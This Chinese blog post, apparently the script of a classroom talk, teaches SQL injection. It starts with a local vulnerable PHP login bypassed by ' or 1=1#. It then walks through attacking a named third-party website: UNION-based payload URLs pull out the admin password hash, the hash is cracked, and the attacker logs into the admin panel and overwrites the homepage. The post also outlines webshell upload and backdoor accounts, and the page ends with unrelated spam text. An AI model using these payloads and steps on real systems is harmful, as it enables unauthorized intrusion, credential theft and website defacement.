qileilove

          blog已經轉移至github,大家請訪問 http://qaseven.github.io/

          Web安全之SQL注入攻擊

          前言:①這個晨講我構思了兩個星期,但是之前電腦壞了,一直拖到昨天才開始著手準備,時間倉促,
            能力有限,不到之處請大家批評指正;
            ②我盡量將文中涉及的各種技術原理,專業術語講的更加通俗易懂,但這個前提是諸位能看得懂
            基本的SQL語句(想想海璐姐你就懂了);
            ③本晨講形式為PPT+個人演講+實際演示,但因為TTS征文限制,少去了很多效果,深表遺憾;
            ④原創文章,達內首發。希望喜歡的同學,多多支持!如有疑問致信:chinanala@gmail.com
            =============以下是晨講內容腳本,實戰演練部分配以文字說明=============
            大家早上好!今天由我給大家帶來《web安全之SQL注入篇》系列晨講,首先對課程進行簡單介紹,SQL注入篇一共分為三講:
            第一講:“紙上談兵:我們需要在本地架設注入環境,構造注入語句,了解注入原理。”;
            第二講:“實戰演練:我們要在互聯網上隨機對網站進行友情檢測,活學活用,舉一反三”;
            第三講:“擴展內容:掛馬,提權,留門。此講內容頗具危害性,不予演示。僅作概述”。
            這個主題涉及的東西還是比較多的,結合我們前期所學。主要是讓大家切身體會一下,管中窺豹,起到知己知彼的作用。千里之堤潰于蟻穴,以后進入單位,從事相關程序開發,一定要謹小慎微。
            問:大家知道駭客們攻擊網站主要有哪些手法?
            SQL注入,旁注,XSS跨站,COOKIE欺騙,DDOS,0day 漏洞,社會工程學 等等等等,只要有數據交互,就會存在被入侵風險!哪怕你把網線拔掉,物理隔絕,我還可以利用傳感器捕捉電磁輻射信號轉換成模擬圖像。你把門鎖上,我就爬窗戶;你把窗戶關上,我就翻院墻;你把院墻加高,我就挖地洞。。。道高一尺魔高一丈,我始終堅信計算機不存在絕對的安全,你攻我防,此消彼長,有時候,魔與道只在一念之間。
            下面,就讓我們一起推開計算機中那另一扇不為人知的門---
            一、紙上談兵
            (一)了解注入原理
            為什么會存在sql注入呢,只能說SQL出身不好。因為sql作為一種解釋型語言,在運行時是由一個運行時組件解釋語言代碼并執行其中包含的指令的語言。基于這種執行方式,產生了一系列叫做代碼注入(code injection)的漏洞 。它的數據其實是由程序員編寫的代碼和用戶提交的數據共同組成的。程序員在web開發時,沒有過濾敏感字符,綁定變量,導致攻擊者可以通過sql靈活多變的語法,構造精心巧妙的語句,不擇手段,達成目的,或者通過系統報錯,返回對自己有用的信息。
            我們在學JDBC和SQL時,講師跟我們說 Statement不能防止SQL注入, PreparedStatement能夠防止SQL注入. 沒錯, 這句話是沒有問題的, 但到底如何進行SQL注入?怎么直觀的去了解SQL注入?這還是需要花一定的時間去實驗的.預編譯語句java.sql.PreparedStatement ,擴展自 Statement,不但具有 Statement 的所有能力而且具有更強大的功能。不同的是,PreparedStatement 是在創建語句對象的同時給出要執行的sql語句。這樣,sql語句就會被系統進行預編譯,執行的速度會有所增加,尤其是在執行大語句的時候,效果更加理想。而且PreparedStatement中綁定的sql語句是可以帶參數的。
            (二)架設注入環境
            我們知道現在php作為一門網頁編程語言真是風生水起,利用lamp(linux+apache+mysql+php)或者wamp(windows+apache+mysql+php)搭建網站環境,如騰訊的discuz、阿里的 phpwind 以及織夢的dedecms 等建站程序,占據了國內網站的半壁江山。那么我們今天即以這種架構為假象敵,首先是在本地架設wamp環境。需要用到的工具有:apache,mysql,php ,這幾個組件可以單獨下載安裝,不過安裝配置過程較為繁瑣,還是建議新手直接從網上下載phpnow ,一個綠色程序,包含上述三個組件,傻瓜化操作就可以了。
            然后呢,我們要建立測試用的數據表,編寫html,php,文件,通過實例具體來演示通過SQL注入,登入后臺管理員界面。這里,我之前已經寫好了,大家看下:
            1.創建一張試驗用的數據表:
          CREATE TABLE users (
          id int(11) NOT NULL AUTO_INCREMENT,
          username varchar(64) NOT NULL,
          password varchar(64) NOT NULL,
          email varchar(64) NOT NULL,
          PRIMARY KEY (id),
          UNIQUE KEY username (username)
          );
            添加一條記錄用于測試:
            INSERT INTO users (username,password,email)
            VALUES('tarena',md5('admin'),'tarena@admin.com');

           2.接下來,貼上登錄界面的源代碼:
          <html>
          <head>
          <title>Sql注入演示</title>
          <meta http-equiv="content-type" content="text/html;charset=utf-8">
          </head>
          <body >
          <form action="validate.php" method="post">
          <fieldset >
          <legend>Sql注入演示</legend>
          <table>
          <tr>
          <td>用戶名:</td>
          <td><input type="text" name="username"></td>
          </tr>
          <tr>
          <td>密&nbsp;&nbsp;碼:</td>
          <td><input type="text" name="password"></td>
          </tr>
          <tr>
          <td><input type="submit" value="提交"></td>
          <td><input type="reset" value="重置"></td>
          </tr>
          </table>
          </fieldset>
          </form>
          </body>
          </html>
            當用戶點擊提交按鈕的時候,將會把表單數據提交給validate.php頁面,validate.php頁面用來判斷用戶輸入的用戶名和密碼有沒有都符合要求(這一步至關重要,也往往是SQL漏洞所在)。
            3.驗證模塊代碼如下:
          <html>
          <head>
          <title>登錄驗證</title>
          <meta http-equiv="content-type" content="text/html;charset=utf-8">
          </head>
          <body>
          <?php
          $conn=@mysql_connect("localhost",'root','') or die("數據庫連接失?。?);;
          mysql_select_db("injection",$conn) or die("您要選擇的數據庫不存在");
          $name=$_POST['username'];
          $pwd=$_POST['password'];
          $sql="select * from users where username='$name' and password='$pwd'";
          $query=mysql_query($sql);
          $arr=mysql_fetch_array($query);
          if(is_array($arr)){
          header("Location:manager.php");
          }else{
          echo "您的用戶名或密碼輸入有誤,<a href=\"Login.php\">請重新登錄!</a>";
          }
          ?>
          </body>
          </html>
            注意到了沒有,我們直接將用戶提交過來的數據(用戶名和密碼)直接拿去執行,并沒有實現進行特殊字符過濾,待會你們將明白,這是致命的。
            代碼分析:如果,用戶名和密碼都匹配成功的話,將跳轉到管理員操作界面(manager.php),不成功,則給出友好提示信息。
            (三)演示注入手法
            到這里,前期工作已經做好了,我們看這個登錄界面,雖說是簡陋了點。但具有一般登錄認證的功能。普通人看這個不過是一個登錄界面,但從攻擊者角度來說,透過現象看本質,我們應當意識到隱藏在這個登錄頁面背后的是一條select 語句---
            OK! 接下來將展開我們的重頭戲:SQL注入
            填好正確的用戶名(tarena)和密碼(admin)后,點擊提交,將會返回給我們“歡迎管理員”的界面。
            因為根據我們提交的用戶名和密碼被合成到SQL查詢語句當中之后是這樣的:
            select * from users where username='tarena' and password=md5('admin')
            很明顯,用戶名和密碼都和我們之前給出的一樣,肯定能夠成功登陸。但是,如果我們輸入一個錯誤的用戶名或密碼呢?很明顯,肯定登入不了吧。恩,正常情況下是如此,但是對于有SQL注入漏洞的網站來說,只要構造個特殊的“字符串”,照樣能夠成功登錄。
            比如:在用戶名輸入框中輸入:’or 1=1#,密碼隨便輸入,這時候的合成后的SQL查詢語句為:
            select * from users where username='' or 1=1#' and password=md5('')
            語義分析:“#”在mysql中是注釋符,這樣井號后面的內容將被mysql視為注釋內容,這樣就不會去執行了,換句話說,以下的兩句sql語句等價:
            select * from users where username='' or 1=1#' and password=md5('')
            等價于
            select * from users where username='' or 1=1
            因為1=1永遠都是成立的,即where子句總是為真,將該sql進一步簡化之后,等價如下select語句:
            select * from users
            沒錯,該sql語句的作用是檢索users表中的所有字段
            果不其然,我們利用萬能語句(’or 1=1#)能夠登錄!看到了吧,一個經構造后的sql語句竟有如此可怕的破壞力,相信你看到這后,開始對sql注入有了一個理性的認識了吧~
          二、實戰演練
            OK,前面鋪墊了那么多,算是給大家科普了。現在我們進行第二講,實戰演練。開始之前呢,有一個互動環節?,F在請大家用自己的手機登錄 http://www.guoshang.tk  這個網址,簡單看下。待會等我們注入攻擊之后,再次登錄,好對比效果,對于sql注入攻擊有一個更加直觀的認識。
           ?。ㄒ唬┓e極備戰
            1。首先設置瀏覽器,工具--internet選項--安全--找到“顯示友好的http信息”,把前面的勾去掉;
            2。打開谷歌,尋找注入點。為了節省時間,這里我已經事先找好目標點
            http://www.guoshang.tk;
            谷歌搜索小技巧:篩選關鍵字:"inurl:/news/read.php?id="
           ?。ǘ├菬熕钠?/strong>
            1。我們打開這個網址,一個新聞網站,,我們點擊[百家爭鳴]板塊,這是一個國內外新聞速覽的欄目,好多時政的帖子,我們點擊一個,OK,現在進入單個帖子界面,首先我們看下當前帖子的URL地址,
            http://www.guoshang.tk/news/read.php?id=50
            可以看出這是一個動態URL,也就是說可以在地址欄中傳參,這是SQL注入的基本條件。
            2。判斷是否存在sql注入可能。在帖子地址后面空上一格,敲入 and 1=1 ,然后 and 1=2 。這兩句什么意思呢? 一個恒等式,一個恒不等式,敲入 and 1=1 帖子返回正常, and 1=2 時帖子返回出錯,說明sql語句被執行,程序沒有對敏感字符進行過濾。現在我們可以確定此處是一個SQL注入點,程序對帶入的參數沒有做任何處理,直接帶到數據庫的查詢語句中??梢酝茢喑鲈谠L問
            http://www.guoshang.tk/news/read.php?id=50
            時數據庫中執行的SQL語句大概是這樣的:
            Select * from [表名] where id=50
            添加and 1=1后的SQL語句:
            Select * from [表名] where id=50 and 1=1
            由于條件and 1=1永遠為真,所以返回的頁面和正常頁面是一致的
            添加and 1=2后的SQL語句:
            Select * from [表名] where id=50 and 1=2
            由于條件1=2永遠為假,所以返回的頁面和正常頁面不一致
            3。爆數據庫。確定注入點僅僅意味著開始?,F在,我們回到原先的帖子地址:
            http://www.guoshang.tk/news/read.php?id=50
            現在要判斷數據庫類型以及版本,構造語句如下:
            http://www.guoshang.tk/news/read.php?id=50 and ord(mid(version(),1,1))>51
            發現返回正常頁面,說明數據庫是mysql,并且版本大于4.0,支持union查詢,反之是4.0
            以下版本或者其他類型數據庫。
            4。爆字段。接著我們再構造如下語句來猜表中字段:
            a. http://www.guoshang.tk/news/read.php?id=50 order by 10
            返回錯誤頁面,說明字段小于10
            b. http://www.guoshang.tk/news/read.php?id=50 order by 5
            返回正常頁面,說明字段介于5和10之間
            c. http://www.guoshang.tk/news/read.php?id=50 order by 7
            返回錯誤頁面,說明字段大于5小于7,可以判斷字段數是6.下面我們再來確認一下
            d. http://www.guoshang.tk/news/read.php?id=50 order by 6
            返回正常頁面,說明字段確實是6這里采用了“二分查找法”,這樣可以減少判斷次數,節省時間。如果采用從order by 1依次增加數值的方法來判斷,需要7次才可以確定字段數,采用“二分查找法”只需要4次就夠。當字段數很大時,二分查找法的優勢更加明顯,效率更高。
            5。爆表.確定字段之后現在我們要構造聯合查詢語句(union select ),語句如下:
            http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6
            我們來看帖子頁面,原先內容沒有了,取而代之的是返回給了我們 三個數字,分別是3,5,6 我們隨便選擇一個,這里的3,5,6指的是我們可以把聯合查詢的對應位置替換為 我們想要查詢的關鍵字,比如版本,數據庫名稱,主要是用來探測web系統的信息。
            6。爆用戶名、密碼。我們選擇3 吧,OK,現在把3給替換掉,先查詢下數據庫庫名,構造語句如下
            http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                                                  1,2,database(),4,5,6
            瀏覽器給我們返回了 xinwen  。說明這個網站 的數據庫庫名是 xinwen  .
            現在我們用同樣的手法查詢下 管理員信息 ,構造語句如下:
            http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                                                  1,2,user(),4,5,6
            返回 root@localhost ,是個管理員權限。
            現在我們再用同樣的手法查詢用戶名,密碼,構造語句如下:
            http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select
            1,2,username,4,5,6 from admin
            返回 admin
            http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select                                                             1,2,password,4,5,6 from admin
            返回 B2E5B76793EDA747382E81391AA3A400
            7。md5解密??吹竭@里,有的同學可能會有點緊張。其實返回的這個是字符串密碼經過32位md5加密后的值。上次李翊大帝給我們復習的時候 講過加密與解密。也稍稍提到了md5 摘要算法,不可逆。話雖如此,現在互聯網上crack md5 “解密”md5 的網站很多,這里我給解密加了引號,是因為其“解密”原理是 md5 值既然不能進行 逆向破解,但是同樣的字符串經過同樣的md5加密算法所生成的md5值是一樣的,我們可以重新構造字符串生成md5值,然后對比兩個值,如果一樣則字符串一樣。有人說,這種方法豈不是海底撈針,試到猴年馬月去啊,其實不然,互聯網云時代已經到來,大數據的信息挖掘以及分布式運算可以解決很多類似大運算量的問題。我們現在就要來對這個md5值進行比對,有好多網站提供這種服務,我們找一個。(http://www.md5.com.cn ) 這個網址,我們把這個值復制進去,然后點擊“MD5 CRACK“,“解密”時間,視密碼復雜度而定,OK,結果出來,(chinaadmin)
            8。登錄后臺?,F在我們已經拿到網站的管理員帳號密碼,感謝上帝,一路順風,但還不能高興得太早。很多情況是你雖然拿到了鑰匙,但是找不到門。下面我們就來找一下門,找之前要有個基本思路:
            ①先試下幾個比較常用的目錄;
            ②不行的話,因為這個論壇程序是dedecms5.6 ,所以我們就到 織夢官方,下載一套同樣程序,           分析網站管理路徑,或者直接百度“dedecms默認管理界面”即可,下載步驟可省略;
            ③手工不通,借力工具。明小子,啊D,御劍,都可以。
            9。這里我們發現此網站依然采用程序默認管理路徑:
            http://www.guoshang.tk/dede
            輸入用戶名 admin ,密碼 chinaadmin 成功登入。
            接下來,我們找到【核心】--【附件管理】--【文件式管理器】--這時我們可以看到網站根目錄下所有目錄以及文件,下標欄還有幾個功能選項,我們可以看到網站首頁文件【index.html】,點擊【修改】,進入網頁源代碼編輯模式,刪除所有源碼(這招有點毒,勸告別改人家的源碼,建議新建一個文件),留個言,表示到此一游。
            卑鄙是卑鄙者的通行證,高尚是高尚者的墓志銘----- 北島
            現在是見證奇跡的時刻!請大家再次登錄這個網站,有沒有把你和你的小伙伴們驚呆呢?!
            至此,戰斗結束。若干年的免費住宿,一日三餐在向你招手。。。
            三、擴展部分
            鑒于此講內容危害性較大,不予演示。只簡述其流程。
            (一)webshell提權
            二講結束,我們僅僅取得網站管理員權限,操作范圍僅限當前網站。革命尚未成功,同志仍需努力。若想深入挖掘,則必須尋求更大突破。獲得網站webshell .
            ①準備一個php網馬。(網上泛濫成災,自己下載。但要注重分辨,小心螳螂捕蟬黃雀在后);
            ②登錄網站后臺--【核心】--【附件管理】--【文件式管理器】--選擇下標欄中的【文件上傳
            選項,上傳我們實現準備的php網馬文件(tarena.php);
            ③上傳完畢,點擊預覽,記錄下url地址。新建瀏覽器窗口,復制粘貼,打開之后,可以看到我們的網馬成功掛載,輸入密碼tarena(密碼可以自行用記事本打開修改編輯);
            ④進入網馬管理界面,你會被那華麗麗的操作選項驚呆了?。ㄈQ網馬水平,小馬就別談了,這里指的是大馬)。從程序目錄-網站根目錄-各種強大的功能,乃至直接操作服務器磁盤文件,獲取各種系統信息,躍馬揚鞭,如入無人之境。其破壞力之大,令人咂舌!所以拜托各位親,一定要盜亦有道,手下留情,除了靠法律監管,也要靠個人道德約束。
            (二)暗修棧道
            浴血奮戰、攻城拔寨之后,怎樣保衛來之不易的勝利果實?政治治大國若烹小鮮,入侵則烹小鮮如治大國。為長遠計,我們需要建立一種長期和肉雞保持聯系的機制。而且還要很隱蔽,畢竟這是見不得光的。留后門的方法諸多:
            ①開啟telnet服務
            建立匿名賬戶,添加至超級管理員組;
            ②開啟遠程終端服務;
            ③自制木馬觸發事件...
            因系統平臺而異,這里不再贅言。
            后注:①可能有讀者會覺得此文很假,的確,鑒于篇幅問題,文中目標站點是我事先踩點過的,所以才
            會一路凱歌,事實上很少會有站點會如此理想,但萬變不離其宗,只是時間問題罷了。
            ②文中所述演示環境建立在同時滿足兩個條件下:
            1.php配置文件中魔術引號已關閉;
            2.建站程序中沒有對用戶輸入字符進行過濾。

          posted on 2014-01-30 11:55 順其自然EVO 閱讀(1238) 評論(1)  編輯  收藏 所屬分類: 安全性測試

          評論

          # re: Web安全之SQL注入攻擊[未登錄] 2015-03-17 20:42 張磊

          長知識了。。。。。。。  回復  更多評論   

          <2015年3月>
          22232425262728
          1234567
          891011121314
          15161718192021
          22232425262728
          2930311234

          導航

          統計

          • 隨筆 - 3936
          • 文章 - 404
          • 評論 - 179
          • 引用 - 0

          常用鏈接

          留言簿(55)

          隨筆分類

          隨筆檔案

          文章分類

          文章檔案

          搜索

          •  

          最新評論

          閱讀排行榜

          評論排行榜

          主站蜘蛛池模板: 广饶县| 黑河市| 灵寿县| 乳山市| 繁峙县| 巴东县| 北川| 和林格尔县| 鞍山市| 太仓市| 成武县| 田阳县| 墨脱县| 砚山县| 新田县| 尤溪县| 梅河口市| 长兴县| 兰坪| 安龙县| 淮安市| 台东市| 常宁市| 公主岭市| 榆林市| 包头市| 浦北县| 清河县| 达州市| 焉耆| 浏阳市| 尼勒克县| 昌邑市| 琼海市| 西昌市| 黔南| 宁武县| 清徐县| 宁安市| 汶上县| 宜春市|